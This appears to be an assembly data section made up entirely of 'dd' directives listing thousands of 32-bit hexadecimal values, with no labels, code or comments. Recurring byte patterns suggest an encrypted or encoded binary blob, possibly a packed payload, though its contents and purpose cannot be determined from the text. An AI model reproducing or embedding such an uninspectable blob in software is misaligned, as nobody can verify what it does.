dd 0F8321566h, 88321575h, 0D75EFBB0h, 90932FC9h, 340AB932h
dd 99AA97BEh, 7F0C0A3Eh, 312378EBh, 0BAB61A60h, 0E8321566h
dd 0CE06C3E6h, 0AF097480h, 172105B7h, 88AA9169h, 24521566h
dd 99547406h, 775386DDh, 66C1DEE7h, 8DBF2E07h, 2D340661h
dd 113268E2h, 8839FC66h, 5FE1566h, 46A45991h, 6F274908h
dd 0A4AF98E3h, 4B340F89h, 22321FE3h, 1137FC66h, 584A1566h
dd 0BB0D795Ch, 2FDA75B5h, 0B2321566h, 5F86AB7Bh, 76279DF3h
dd 99197A94h, 0C004AD00h, 3627438h, 80B1315Ah, 29B31A62h
dd 71321566h, 87CCAA69h, 443215EEh, 0A7BB7466h, 17211597h
dd 8832108Fh, 91012966h, 41DB7883h, 71321546h, 0E4FAD06h
dd 96B33CD6h, 368842DFh, 8CBF7407h, 8E28FA4Ah, 0C5C4A406h
dd 981A5ADh, 0C2CD7478h, 30544606h, 226A7DF5h, 0C0A9C3E7h
dd 648F9607h, 8834067Ch, 44669169h, 42521566h, 6A66CCE7h
dd 0E9531412h, 6FA7905Dh, 0A63D1375h, 11321554h, 88321C8Fh
dd 0EDF5266h, 0A2215027h, 9409E388h, 8E213ECFh, 44169069h
dd 42521566h, 1132108Eh, 0EE4F7966h, 2268A740h, 432D85DEh
dd 0EA8D1A31h, 92DB743Fh, 4BCDEA99h, 223214EFh, 9409E066h
dd 8E213BD3h, 44649069h, 28DB1566h, 5C321566h, 0BEC73365h
dd 6E6A831Eh, 1F8F967Ch, 11340671h, 88129169h, 0C03D1566h
dd 2232156Ah, 11349169h, 3D1566h, 44321566h, 12DFA8E5h
dd 1E321375h, 88320EE2h, 0C1BFE066h, 242866FAh, 11321C8Fh
dd 7A111866h, 76A97970h, 90DB352Eh, 0E9CDEA98h, 0A687905Dh
dd 0C03D1375h, 0DDCDEBC3h, 0FC8F969Ah, 89340FF5h, 447A9069h
dd 2EDB1566h, 97321566h, 0F139849Dh, 3366AE04h, 1955F9FEh
dd 0BA634E3h, 0A3B71A60h, 4B321566h, 223212E1h, 0C8A7566h
dd 0E9031042h, 4FD690EBh, 0CBCB153Fh, 0EECDEBF4h, 8832188Fh
dd 59523166h, 934D5B4Bh, 8F1E867Dh, 7703A8AFh, 44339969h
dd 0A1CE1566h, 235F0DBh, 0C3D1560h, 443205A5h, 22321B8Fh
dd 2ED1BE66h, 0F44762E1h, 0C3F9D4FFh, 191F3A15h, 0BA618E3h
dd 0A3B71A60h, 24321566h, 2238FC06h, 0CF621566h, 6D0395DAh
dd 97130AA7h, 22329F69h, 70531566h, 0D9B79E9Ah, 0B1340668h
dd 2233AF34h, 0C6331566h, 0D09E93Ch, 42288173h, 220D9069h
dd 1DB1566h, 0FF321566h, 21F0DBDFh, 0F066ADC5h, 0BB9D565Bh
dd 317A630h, 571E0CE3h, 23BE1A60h, 0E8321566h, 883B790Eh
dd 600E9C66h, 7D161199h, 11399169h, 8EDB1566h, 7B321566h
dd 0E9371423h, 0B72EFDh, 87340FF2h, 443246E3h, 0CB527566h
dd 1132156Bh, 2174EFDAh, 7658EEA7h, 0BE6B687h, 0DCDABE0h
dd 37530187h, 14B48257h, 0A3B79E07h, 1E340671h, 88321CE3h
dd 0FB547566h, 0D3B20136h, 16DB74C3h, 74321566h, 1E1C5789h
dd 27A5804Bh, 11321567h, 8834FCF1h, 0F7841566h, 0F0C8063h
dd 852B905Dh, 0D3D137Ch, 4432154Ah, 0A953ED06h, 234C8E3h
dd 89B51A60h, 0B8321566h, 2233AD36h, 0D6331566h, 883CFC3Eh
dd 8C581566h, 0C232BBFDh, 79F41F0Eh, 0E49F6406h, 0D02F905Dh
dd 0A73D137Ch, 1132155Fh, 1DB79E9Eh, 2434067Fh, 223FFD9Fh
dd 2A541566h, 7E88619Dh, 8C386Bh, 0CA18EB64h, 11321561h
dd 31BF2612h, 1B795E02h, 0DD657438h, 2DB93162h, 8CF69642h
dd 0F87EC06h, 3B72E07h, 1E340FF2h, 88322AE3h, 0C1B9E066h
dd 24213CCFh, 11359669h, 0D3D1566h, 44321567h, 0DD8A459Ah
dd 38CDEA99h, 73D4DA1h, 4432157Ah, 22249369h, 0DB1566h
dd 0F2321566h, 923443D1h, 0ACD30230h, 0E98267C4h, 0FDDD90D4h
dd 0D017905Dh, 0A73D137Ch, 11321544h, 8832138Fh, 5B7C1866h
dd 0A9BD47F2h, 22400E3h, 89B91A60h, 0B8321566h, 2233A833h
dd 0FE331566h, 0D09E03Bh, 4228814Fh, 220E9069h, 0F9521566h
dd 8832156Fh, 7585AE45h, 3A89774h, 706BECA6h, 0A4A390EDh
dd 4B521375h, 7353D3D9h, 113214DFh, 0D1FD1466h, 44229F69h
dd 29DB1566h, 0B6321566h, 0C720F8Eh, 0D87725D1h, 0A7093F3Bh
dd 1728814Bh, 880F9069h, 4BCB1566h, 223214E9h, 94B9EC66h
dd 8E2105EBh, 4432058Fh, 0A2892B66h, 83518BE0h, 89A6B1DDh
dd 0ED7B40A0h, 9860EC94h, 11321567h, 6168C267h, 4432156Dh
dd 735A78E2h, 0D0FB3FB7h, 0B310D67Dh, 5EA624E3h, 1B71A60h
dd 0F8321566h, 8832156Bh, 0F02CDA3Ah, 4E495C91h, 0A59C12E8h
dd 0E9B79E21h, 0B134064Eh, 0DDCDAF34h, 0C61BEA99h, 0D09ED3Ch
dd 4228815Fh, 221F9069h, 9A521566h, 0D06175A5h, 13A9F2E7h
dd 43536A26h, 207F90EDh, 8521375h, 24529B8Ah, 22B31A07h
dd 70321566h, 778F4007h, 6DCDEA99h, 19CA4889h, 0BA620E3h
dd 0E4B71A60h, 4B321566h, 223206EEh, 0D6B97566h, 88321C8Eh
dd 5D1AA366h, 8E86A84Dh, 706CCC7Eh, 9F4BA8E5h, 4B321375h
dd 223253E3h, 0FBB1A66h, 0E8321566h, 44329A69h, 32DA1566h
dd 0D6321566h, 49C509FEh, 328335DFh, 60CEF22h, 4B9FBB58h
dd 59B79E07h, 0AD340647h, 2232156Ch, 309B7390h, 2D17FAD3h
dd 8C5A9873h, 0AB321553h, 15CD315Ah, 0BC74A42h, 5729C4DBh
dd 0A63D1560h, 1132150Dh, 88B31A06h, 24321566h, 22329D69h
dd 70531566h, 1CF3905Dh, 0C13D137Ch, 22321529h, 11399869h
dd 8EDB1566h, 0AE321566h, 0E9128609h, 4CB79ED2h, 7134066Ch
dd 42BF1A06h, 2D321566h, 113215E7h, 0A48B7366h, 0FC62748Dh
dd 42D77A70h, 1437F5A7h
dd 6B600827h, 0AD6AD267h, 22321569h, 8656D000h, 213117Ah
dd 4620A4E2h, 0A13468AAh, 22D08DBh, 0C3D1560h, 44321499h
dd 2232128Fh, 0DB892D66h, 2BBC85FBh, 44BBA8E5h, 2D321375h
dd 1133F3E2h, 8838FC66h, 442F1566h, 850B84DFh, 3C6C54B3h
dd 1C97905Dh, 0C13D137Ch, 22321552h, 113A9169h, 74521566h
dd 2118FCDFh, 0A7B9743Dh, 17210B13h, 88219E69h, 4ADB1566h
dd 77321566h, 0E3683064h, 5DCA0CA1h, 0B56EFF3Ah, 26B14225h
dd 0ED6D1442h, 1C87905Dh, 0C13D137Ch, 2232155Eh, 4CB79E93h
dd 0E8340679h, 44321D8Fh, 0AE28C966h, 0D5EEB0B4h, 0E9E19E4Ch
dd 2B9AE35h, 0C9B3183Bh, 1C6F53EAh, 6169CA4Fh, 4432156Ah
dd 0BF4D8B9h, 28221256h, 157AA0B6h, 0D09B905Dh, 0A73D137Ch
dd 1132155Eh, 15B79E9Ah, 0AD340666h, 22321575h, 0BD1D796Ch
dd 9613C523h, 0FAB4B570h, 8AF94189h, 0F8AA17C0h, 8832156Ch
dd 0A10AF93Dh, 4D983B74h, 0A8634DB5h, 88321567h, 0B16BDA67h
dd 0B68B905Dh, 943D137Ch, 88321526h, 42B11A06h, 0A3321566h
dd 4B9F6891h, 883CFC33h, 20151566h, 40616D8Fh, 42BE44BBh
dd 0FE3D7F30h, 9DB37507h, 448B482Bh, 7043DBE6h, 847B90EDh
dd 13CB1375h, 60684A34h, 7752C2E1h, 0E91B07DEh, 0D08F905Dh
dd 0A73D137Ch, 1132155Eh, 883E9869h, 0C73D1566h, 22321560h
dd 11329269h, 0DB91566h, 4221369Fh, 0AA3D4506h, 11321566h
dd 0AD65AA38h, 115321A2h, 0DDCDEADBh, 4CDD3C99h, 88309669h
dd 25521566h, 0B69F905Dh, 943D137Ch, 88321554h, 0ADB79E93h
dd 2D34067Bh, 113212E2h, 89B81A66h, 0B1321566h, 0DDCDAC37h
dd 0DE1BEA99h, 0CB80753Fh, 4432198Fh, 1C9B7866h, 5B3E11BFh
dd 4DA2CF8Ch, 0C1097488h, 242881D7h, 11079069h, 3C71566h
dd 573DD8E3h, 28BF1A60h, 0F8321566h, 88321563h, 0CFD5D577h
dd 0DD8F4032h, 38CDEA99h, 0F3D4889h, 44321568h, 22321C8Fh
dd 5966EB66h, 0D8ACF64h, 0C7CE6BDBh, 31329CDBh, 953D1560h
dd 88321FB1h, 442B9669h, 0CB521566h, 11321569h, 0B2D31EDFh
dd 720CE985h, 0B3F490D5h, 776BBF4Eh, 0B353CDEDh, 5EA628E3h
dd 13B71A60h, 0E8321566h, 7DB79E9Fh, 0AD340644h, 2232156Dh
dd 9635B8FCh, 6D2DF029h, 12A09A49h, 0DDCDEAD8h, 4FC53C99h
dd 88321E8Fh, 94C76566h, 16427A97h, 9C519A00h, 1CE3905Dh
dd 0C13D137Ch, 22321500h, 0C4837506h, 3537406h, 0C1B974A1h
dd 2421142Bh, 113E9A69h, 8FDB1566h, 0A3321566h, 1F208F7Bh
dd 0AA61C365h, 85A10486h, 0A7F3C691h, 0A3E9E261h, 0E32ED88Dh
dd 0C4F19476h, 6D757C4Ah, 0AB3D4EB9h, 1132156Ah, 88349869h
dd 0C03D1566h, 22321566h, 1132048Fh, 25330866h, 11531B5Ah
dd 95CC4C2Ch, 4B49BA9Ch, 0D09910Eh, 42288127h, 227B9069h
dd 77521566h, 1D1EC6E7h, 44379369h, 0A3541566h, 70697885h
dd 9B4F90EDh, 49DB1375h, 0E5321566h, 0EEE1F1F9h, 865121Bh
dd 2A37F764h, 0DDCDAB30h, 0E61BEA99h, 8823FC38h, 0EB51566h
dd 88494A75h, 2F91D6CCh, 0B31BE675h, 7F75A802h, 38A650E3h
dd 51B71A60h, 61321566h, 44321574h, 0BDB3A8C0h, 4D11E258h
dd 0C718B2DEh, 0AAEBADA8h, 0A7B92F0Bh, 1721008Bh, 88321D8Fh
dd 0F12A8D66h, 112625E6h, 0EE8946CBh, 0A1CDEA99h, 0C13D4EB9h
dd 22321561h, 0C8B97306h, 0B353C1ECh, 5EA65CE3h, 13B71A60h
dd 0ED321566h, 0AD8B90EDh, 0CF521375h, 20B01A9Eh, 47321566h
dd 67B5743Fh, 0BBCDF8E7h, 0CDB5EA99h, 90547593h, 87202A84h
dd 443213E7h, 0D6E59466h, 7059B2DBh, 1C7F905Dh, 0C13D137Ch
dd 223215ECh, 11279E69h, 87521566h, 443215EEh, 2235FD66h
dd 2FED1566h, 0F648F851h, 4B534DFAh, 223214E8h, 0ACB1E966h
dd 8E21021Fh, 1FB71A66h, 2D321566h, 113219E0h, 8EB81A66h
dd 4B321566h, 223215ECh, 28B79E66h, 6134066Bh, 4432156Eh
dd 0B55F18D0h, 47C65309h, 883A9469h, 0CA3D1566h, 22321564h
dd 0AF647406h, 77CDEA99h, 4B6CE24Fh, 22320CECh, 1126FC66h
dd 3AB81566h, 3A4ADB69h, 0EDB47694h, 65D6777Eh, 0CCAA73Bh
dd 0C109E149h, 24288137h, 11649069h, 61CB1566h, 44321577h
dd 6EE9087h, 0A83B3992h, 7845097Eh, 95A11B38h, 67B79EF2h
dd 7134064Ah, 88319C69h, 0F33D1566h, 43C19EB8h, 1133AF34h
dd 5F331566h, 4B52EC3Ch, 0CA52CED9h, 11321576h, 0C7831E0Fh
dd 506E8A89h, 80E653A9h, 0A8F9C696h, 0A123AA38h, 255314A7h
dd 0B667905Dh, 943D137Ch, 88321538h, 443E9469h, 0AF3D1566h
dd 11321560h, 88329669h, 0C7CA1566h, 31256CDBh, 943D1560h
dd 88321558h, 443F9D69h, 0A3521566h, 15D88481h, 48B37346h
dd 0CF5382DEh, 3132A4E3h, 0AA61ED60h, 88321567h, 4B69CA67h
dd 223200E2h, 1122FC66h, 31021566h, 61BD4D87h, 29B40263h
dd 0F1A5092h, 0D097FB9h, 4228813Fh, 22039069h, 9AC71566h
dd 9B16C4E3h, 4CBF1A60h, 42321566h, 0A954B3D6h, 0DE531D81h
dd 0BBCDEAD8h, 7CC53C99h, 113F9169h, 80DB1566h, 14321566h
dd 8B4DE36Ah, 2A9F397Eh, 92A648E3h, 32B71A60h, 2D321566h
dd 11320DE2h, 9AB51A66h, 0AD321566h, 2232156Bh, 0F1FB3E33h
dd 89CB2C3Dh, 0B7FB8917h, 0D3B79E19h, 1E34067Ah, 883212EBh
dd 0F33D7566h, 43F9A3A8h, 111B9C69h, 60521566h, 4432156Fh
dd 5973FDB2h, 8FA77042h, 9BDB4A96h, 0C1321566h, 0F2E9BB5h
dd 1CACDD91h, 9F6A8CA3h, 57764005h, 1353E6F7h, 20CB24A9h
dd 47B554A9h, 44359A69h, 0AE3D1566h, 11321567h, 0EDB72E9Fh
dd 4B340FF2h, 22324CE3h, 0ACB1E966h, 8E21021Fh, 0FB71A66h
dd 0DE321566h, 352F90EDh, 0B3D1375h, 4432157Ch, 22269E69h
dd 1EDB1566h, 1E321566h, 1C17AD9Ch, 0E37686B5h, 39587C2Eh
dd 35673ABBh, 0BBCDEA99h, 426FFA4Fh, 113CFC06h, 0ADD61566h
dd 0C078FBAAh, 0C708EE97h, 97B3A77Ah, 353E0ECh, 0C10974A8h
dd 24288107h, 11569069h, 0EE521566h, 2575E4E7h, 2232078Eh
dd 47C95866h, 79C14E44h, 6C0D0B6Eh, 4CA0693Eh, 9025E224h
dd 0CA8A06ACh, 0C7534B53h, 31256CDBh, 943D1560h, 88321554h
dd 1B79E93h, 0CB340671h, 1132156Ah, 54F345A8h, 0D910EDA6h
dd 0AEE82BDEh, 0EECDAB30h, 7F1BEA99h, 443EFC38h, 503B1566h
dd 0C2EFD183h, 0A18D52A0h, 0C1092A69h, 2428810Fh, 116F9069h
dd 85DB1566h, 0C7321566h, 0BFB26D16h, 0D5FBF2B8h, 8B8ADDA7h
dd 44389E69h, 44521566h, 0B0D7E3E7h, 0E98BD8E6h, 763B90EDh
dd 2DDB1375h, 71321566h, 9848C245h, 0CC32D314h, 4D79BDF0h
dd 0A962D24Ch, 88321567h, 0AD6AD267h, 22321575h, 9F0C91BFh
dd 0C6EE3287h, 3897A73Eh, 0B0374B4Fh, 2A4C291Bh, 92A678E3h
dd 7AB71A60h, 42321566h, 0A63D4F30h, 0DB974AEh, 422137E3h
dd 2232078Fh, 3B7EFE66h, 0EB3AA9C0h, 0C0680A32h, 0BFEA4367h
dd 472B6A40h, 77CDEAD8h, 1AC53C99h, 2232198Fh, 0A3291F66h
dd 0B3938090h, 29CCDADAh, 53B72E2Ch, 1E340FF2h, 8832B7E3h
dd 0CB3D7566h, 22321570h, 1132048Fh, 755FD666h, 0ECADCE29h
dd 0D320136Ch, 0DDF2E5DFh, 0E8533BDDh, 4432138Fh, 0D5B17866h
dd 0F8389428h, 88321574h, 742A3889h, 2304BFAh, 4AC35C6h
dd 0D591AD8Eh, 0CF538AF1h, 313230E3h, 1120FC60h, 4F4A1566h
dd 36ABCD9h, 9E81AAF7h, 9467FFE1h, 0C07BC76Eh, 4432078Fh
dd 5DD53166h, 0DBE15476h
dd 9A505363h, 2D4E70F3h, 74213910h, 113214D8h, 0D6C51466h
dd 442F9369h, 0A53D1566h, 11321571h, 8832078Fh, 1200E466h
dd 64D6B16Dh, 2C266F05h, 74E51083h, 7FD01234h, 38A660E3h
dd 2EB71A60h, 0E8321566h, 24E1AA69h, 0A63DC6ECh, 11321566h
dd 85DB7407h, 0DF321566h, 0D6723FD8h, 33DC211Eh, 2F10BF25h
dd 6B9390EDh, 2BDB1375h, 0D3321566h, 0D7D38305h, 0B4189B1Fh
dd 2233AB30h, 0E6331566h, 0D09ED38h, 4228811Fh, 22709069h
dd 9AC71566h, 9B29D0E3h, 0C13D7560h, 22321560h, 11329469h
dd 0E9CB1566h, 1374E2E1h, 2D6C4A30h, 11320AE8h, 0BB8A7566h
dd 0AD29ED0Ch, 22321575h, 0DEDAF711h, 3A316CACh, 0D29E1F48h
dd 84A728E2h, 70A46FB3h, 1C4F905Dh, 0C13D137Ch, 22321526h
dd 0D3B97306h, 8832188Eh, 3CC0F066h, 42B9D674h, 95A2661Ch
dd 3654F7E1h, 25689BB1h, 3F0790EDh, 77521375h, 954C5EDh
dd 25597096h, 6369631h, 943D4A67h, 8832156Eh, 44309F69h
dd 43521566h, 85B3905Dh, 0D3D137Ch, 44321524h, 0A7B9ED9Fh
dd 17210273h, 8832018Fh, 0B0517D66h, 7FEBCC7Bh, 33B7223h
dd 0AEBFDBACh, 0BF9F1349h, 0DD8B4490h, 38CDEA99h, 9BDB4CA9h
dd 0F6321566h, 245FB7CDh, 0D2C22795h, 7A67CCC7h, 3345DC6Eh
dd 0A7092283h, 172881E3h, 885A9069h, 0AC521566h, 22321577h
dd 0DA885654h, 7015D840h, 0F08C08C5h, 37BA80B1h, 113DFD54h
dd 63581566h, 22832545h, 0A31CDE44h, 0B1BC5A8Ch, 0E96D4EA8h
dd 44379169h, 0A9521566h, 9A53E9BEh, 9B02ECE3h, 0CF547560h
dd 0AEF594A8h, 707420F1h, 77CDAC37h, 8B1BEA99h, 2DBA1A3Fh
dd 0F8321566h, 8832156Ch, 0F9EBEC47h, 5F98310Ch, 94096E22h
dd 8E211B07h, 44099069h, 33DB1566h, 45321566h, 3805B70h
dd 0E0068B57h, 0D2C88B59h, 8FA423FDh, 833F90EDh, 42DB1375h
dd 6B321566h, 0E3864E0Bh, 778C43F7h, 6DCDEA99h, 24DB4B91h
dd 321566h, 0CB2A7351h, 0CDB72EFEh, 2D340FF2h, 11322DE3h
dd 8838FC66h, 0D29B1566h, 7AB4C7B9h, 0B0ED2E1Ch, 93DF90EDh
dd 0CE521375h, 99617496h, 11321567h, 6169CA67h, 44321577h
dd 55E83E16h, 0FCCA1428h, 2442E223h, 5A743CF2h, 0E7B72E8Bh
dd 1E340FF2h, 88327BE3h, 4420FC66h, 0B5CD1566h, 4D4B6877h
dd 61E456C8h, 7B6AA44Ch, 32E02CC4h, 0DC8F969Ah, 88340FF2h
dd 443D9069h, 0A1C71566h, 22860DBh, 0C3D1560h, 4432155Dh
dd 8BB79E9Eh, 1E340644h, 88321AEBh, 41DB7566h, 6E321566h
dd 54A48ACFh, 0E9B7DBE6h, 4433AC37h, 0ED331566h, 1123FC3Fh
dd 4D5D1566h, 0FD813F45h, 6AD39CF4h, 0F895986Fh, 0B37793AFh
dd 5EA6DCE3h, 0B2B71A60h, 0E8321566h, 1CFFA8E5h, 4B32137Ch
dd 22325EE3h, 8B91A66h, 61321566h, 44321572h, 3F0E5F10h
dd 0D9473E77h, 5A9AA28Ah, 0D093D14Fh, 36D3082Ah, 0B47A8E5h
dd 87321375h, 443243E2h, 99547566h, 776557B6h, 0E96DCAEDh
dd 44321A8Fh, 116B9C66h, 58883CA6h, 32951D06h, 39E47A41h
dd 387F90EDh, 77521375h, 0E960B7D9h, 0BBCDA833h, 0CD1BEA99h
dd 0DFB9753Bh, 88321E8Eh, 0D3D55966h, 0EAF829EFh, 9F25881Dh
dd 8832128Eh, 46856366h, 6F1A6FD9h, 2A534A3Fh, 92A698E3h
dd 7CB71A60h, 0DB321566h, 1C2B90EDh, 86DB1375h, 0C8321566h
dd 0C7B5888Dh, 0C5D6D7A1h, 0E3837ADEh, 458C4314h, 23321566h
dd 9B3D4B91h, 88321560h, 0CE31A506h, 0A8527497h, 0FBB373B2h
dd 0B353F9B7h, 5EA684E3h, 4B71A60h, 0E8321566h, 0A3CF90EDh
dd 0C33D1375h, 22321569h, 11321F8Fh, 0D9C76666h, 844D02B2h
dd 73E1E0E3h, 0EECDEADFh, 0D1FD3C99h, 0D1B72E9Eh, 2D340FF2h
dd 11325DE3h, 3547566h, 2543A298h, 6D790EDh, 16DB1375h
dd 14321566h, 4039E326h, 98601880h, 1ED70C6Fh, 4AB3CF91h
dd 9C5101h, 47FFFFE7h, 0E3B34B05h, 5E57D0F6h, 4B68C267h
dd 223219E6h, 17B11A66h, 87321566h, 443215EAh, 0BBB72E66h
dd 1E340FF2h, 883205E3h, 0C1B9EC66h, 24211BC7h, 4E604293h
dd 5FB5573Ch, 0D9B72E93h, 2D340FF2h, 113252E3h, 8823FC66h
dd 70D21566h, 0EB2AA9F0h, 9DD98801h, 5DE5E12Bh, 0AD5384D7h
dd 22321572h, 0A06D3C49h, 0B731211Dh, 0E06B0581h, 0C93E46A4h
dd 40D5A37Bh, 0AC0F90EDh, 0CF3D1375h, 22321567h, 0EE894693h
dd 0A1CDEA99h, 25524EB9h, 0B693905Dh, 943D137Ch, 88321521h
dd 44209F69h, 2FDB1566h, 49321566h, 4CEAA27Ah, 123EA540h
dd 0D0432A5Bh, 33C790EDh, 73D1375h, 44321563h, 0D1B97306h
dd 933D7507h, 88321563h, 0AFE39400h, 9C64740Dh, 11321567h
dd 716CE267h, 44339D69h, 29CE1566h, 5B61A99h, 87321566h
dd 44321DECh, 20B81A66h, 71321566h, 65BEFC07h, 7FCEEA99h
dd 311224E3h, 34B71A60h, 0E8321566h, 0C7F8959Eh, 43CB7507h
dd 6DA90EBh, 53D137Ch, 44321567h, 41DBEC93h, 71CDEA8Bh
dd 1188D7EDh, 2511F82Bh, 9EB905Dh, 943D1375h, 88321525h
dd 4BA0A406h, 0A153EBD9h, 0BA1F8DBh, 0D3D1460h, 44321549h
dd 2238FC9Ah, 0FCAE1566h, 3AB60867h, 1F64D75Fh, 295590EBh
dd 1FDB153Fh, 76321566h, 14E7431h, 533B6106h, 0D5D1D772h
dd 653EFCA5h, 7FCEEA99h, 38A1E8E3h, 7B61A60h, 0E8321566h
dd 2854AA00h, 43E8AA69h, 8533905Dh, 0D3D137Ch, 4432156Bh
dd 0CED6FC9Ah, 9D3DEA99h, 88321567h, 40DE9493h, 0AB321566h
dd 118F314Ah, 1321566h, 0C63D4888h, 22321567h, 10CC969Fh
dd 89339069h, 7FCB1566h, 38A1E4E3h, 5FB71A60h, 61321566h
dd 44321569h, 0FB4F4F9h, 0DB97ED6Fh, 0E976A621h, 4BC0ABD5h
dd 22321DE1h, 13B81A66h, 0E8321566h, 80B79807h, 0CB324DE1h
dd 1132156Dh, 0A5ECF69Ah, 0EB8FA937h, 0DB20D1E2h, 0EEDE648Fh
dd 82B31A99h, 24321566h, 3236CBE7h, 7052690Eh, 7DB72E07h
dd 4B340FF5h, 223256E3h, 0F952EC66h, 88321561h, 0E43C781Ch
dd 0DED8C128h, 0CE8D1A3Ch, 0B2B79807h, 4B324DEEh, 223214ECh
dd 0ED52ED66h, 641EFC07h, 0ADC7EA99h, 22321572h, 372E8CE7h
dd 450C20FEh, 882201C9h, 26531A0Dh, 0B9725B32h, 1BCB905Dh
dd 0C13D137Ch, 2232152Dh, 11339969h, 70CE1566h, 0CC4D90EBh
dd 4452153Eh, 3179DEE7h, 8832108Eh, 0C610B266h, 33DB7D6Ch
dd 0D0321566h, 0BA0B57F6h, 45B5ACC8h, 360B9991h, 6B4C25ACh
dd 43DB7438h, 24CDEA8Dh, 22309969h, 4A621566h, 70DEDBE7h
dd 14530D48h, 6F1639E7h, 9A5E3C56h, 4CB33162h, 44321562h
dd 0B025863h, 4B21A0Ah, 87321566h, 44321AE9h, 2238FC66h
dd 80D61566h, 910A55D8h, 4754953Dh, 0C2B37306h, 7752A35Fh
dd 0E953D6EDh, 7B5DAA31h, 0E5B34FFDh, 210F4B2Fh, 3664FAB7h
dd 24C2288Ch, 0A36CE247h, 8EC12FA1h, 0D7CC9CD9h, 442E9269h
dd 2D521566h, 0DAE3D1h, 6F321566h, 3BCE2741h, 0CDD7CA79h
dd 56766CB3h, 0F11C863Bh, 0B239743Fh, 22119069h, 9C3D1566h
dd 8832156Bh, 44321D8Fh, 0E6649066h, 0E88D0272h, 62D9FC39h
dd 42DBEA99h, 4321566h, 813917ADh, 0BCB9454Ah, 40F69442h
dd 0CB321566h, 11321568h, 68DA3859h, 0C6AD60E6h, 0BC917603h
dd 0A4BB1C90h, 8E2134C3h, 6E8A4706h, 787A5463h, 11319B69h
dd 67B21566h, 0F1BB743Ch, 24212463h, 0D9B97306h, 8832018Fh
dd 0BD44C966h, 1FCF2E76h, 989DADF2h, 56365642h, 0C7B901EEh
dd 1CB27493h, 0FFB71A8Fh
dd 87321566h, 44321DE7h, 20BD1A66h, 71321566h, 8944EA07h
dd 0E41639E7h, 7D0A8A2Fh, 6AAAAC37h, 97B2C04h, 0E725E87h
dd 0BFF39455h, 1035486Fh, 33524CA9h, 2572B1D2h, 22321A8Fh
dd 21931D66h, 0D96F98E9h, 6B6A946Ah, 3A703C1Eh, 3DD9407h
dd 90B382Bh, 0D56FB089h, 0A3C51479h, 806FB0A1h, 9AF59479h
dd 0AD0B382Bh, 22321574h, 3DDEBAB3h, 0B02275A7h, 74A0E32Fh
dd 0DD9CF5F0h, 4763EE88h, 761621E7h, 1D3CB65Ch, 18CCE4E7h
dd 0DABB1BC5h, 3260E93Fh, 3D1021C1h, 7769F7E7h, 0E3B3421Ch
dd 0D9104165h, 0A6D6E7h, 0F13378A9h, 55A6FEE7h, 876878A9h
dd 443209E7h, 0E2887566h, 0F835AC32h, 88321576h, 86C647A5h
dd 45163865h, 0A006A428h, 0F949C944h, 0E18F2E07h, 2D340647h
dd 11321FE4h, 7309ED66h, 44359369h, 0CBC71566h, 0EECDFCF7h
dd 7D8F9E9Fh, 24340678h, 222B9769h, 5DB1566h, 321566h
dd 0FBAC7FA9h, 0CBF5380h, 7642CD35h, 0BF5C94ACh, 259F3F7Bh
dd 383790A1h, 11321375h, 61521566h, 44321576h, 6D110D20h
dd 0AD4D7647h, 2E4602B5h, 0B6B27230h, 2232138Fh, 0CBFDA66h
dd 0E9678C9Eh, 1E617506h, 0AB53E2EDh, 20310D3h, 883EFC60h
dd 25921566h, 0C3B87991h, 84116BEDh, 5C71ECAh, 5F2720FBh
dd 0C8B37560h, 3BCA8376h, 88321B8Eh, 0EE7C0B66h, 0F53A369h
dd 40ABF9CCh, 0D7E7BD96h, 0ADE1EA07h, 22321577h, 40B51C44h
dd 7B7B6AB0h, 40694899h, 8263BC50h, 1EF21E4Dh, 88322BE2h
dd 4423FC66h, 6E281566h, 8E86734Dh, 182100ADh, 10CA7782h
dd 429943F4h, 11319369h, 373D1566h, 41B01A91h, 44321566h
dd 443ECBE7h, 88A0FC07h, 4CDB1566h, 0CA321566h, 609825B0h
dd 50CBA11h, 5CBF98FBh, 2222FC60h, 8F211566h, 26FB5400h
dd 0F88DA1A0h, 4C0FEAF5h, 0C2CD91FDh, 77779669h, 4BDBEA99h
dd 0C6321566h, 62A5540Ah, 5ED5B0D9h, 4BDA3723h, 97B9FF62h
dd 17212463h, 8832108Fh, 65C83C66h, 0DB529C46h, 5A8D7306h
dd 0E9E89EE5h, 41879C07h, 0CB34067Ch, 11321563h, 642DC3D7h
dd 86AF98DAh, 0DE340CF1h, 0F852C699h, 88321575h, 1B403E8Eh
dd 7958AFE6h, 8835DADDh, 21F12D0Ch, 250D47C2h, 39790EDh
dd 71CA1375h, 8832138Eh, 785E6466h, 2DFC7F39h, 113215EAh
dd 8B8D4C66h, 2518518Bh, 133790EFh, 0F9521375h, 88321574h
dd 4AAB26A6h, 0EE4C3FB2h, 0E493927Fh, 0B55879B1h, 8EB3CB0Dh
dd 14432CEEh, 30E19538h, 8EDB7407h, 5B321566h, 2D2AC717h
dd 0F90C95D2h, 88E19069h, 55DB1566h, 10321566h, 78EB98B5h
dd 192513AFh, 44B17DC9h, 0C2F134C9h, 11321A8Fh, 7867F266h
dd 4F0BB80Ah, 0A676FD07h, 108F33DDh, 873FA8E5h, 4B321375h
dd 223289E2h, 19B31A66h, 87321566h, 443217E0h, 4A537566h
dd 11321290h, 3D1619EFh, 1DDA9D8Fh, 22339F69h, 0BBC71566h
dd 0D01A7D9Ah, 48BB1566h, 0ABC39C42h, 1ADB4CAEh, 55321566h
dd 0CC5D4CFBh, 9DAC7FA9h, 0B31F5380h, 0A1548338h, 0E689469Eh
dd 23548338h, 1ECB4EBEh, 88321BEEh, 443BFC66h, 0DB491566h
dd 8EC479C5h, 0DF36577Bh, 443211D9h, 496C3866h, 0E91B556Eh
dd 80594B63h, 0EFC74A26h, 750FAF06h, 0AA5454F8h, 61538CC9h
dd 443217FBh, 2232198Fh, 63D74D66h, 57B6BD2Fh, 0BBFE5116h
dd 0F6AF981Ah, 1E340F9Dh, 88321DE4h, 46BE1A66h, 42321566h
dd 1EE1EA07h, 883219E6h, 42BA1A66h, 2D321566h, 113215E8h
dd 0CDAF9866h, 24340E76h, 0F046AA00h, 0CDFD9400h, 5BCD74D5h
dd 443B9E69h, 44521566h, 888EFFE7h, 83534F34h, 76B71AA6h
dd 0CB321566h, 11321576h, 10D36C3Eh, 5FDE1940h, 9D44EF2Ah
dd 0B67D6C28h, 8832418Fh, 56B21A66h, 2D321566h, 113219E0h
dd 8835FC66h, 0CA1566h, 841174F2h, 14B796BDh, 8D340657h
dd 44321B8Fh, 0A5131E66h, 6A21331Fh, 0EB2AE58h, 0ADA076F8h
dd 0DDCDEBE7h, 1DA4506h, 0A1321566h, 0C35BCA95h, 0B7700197h
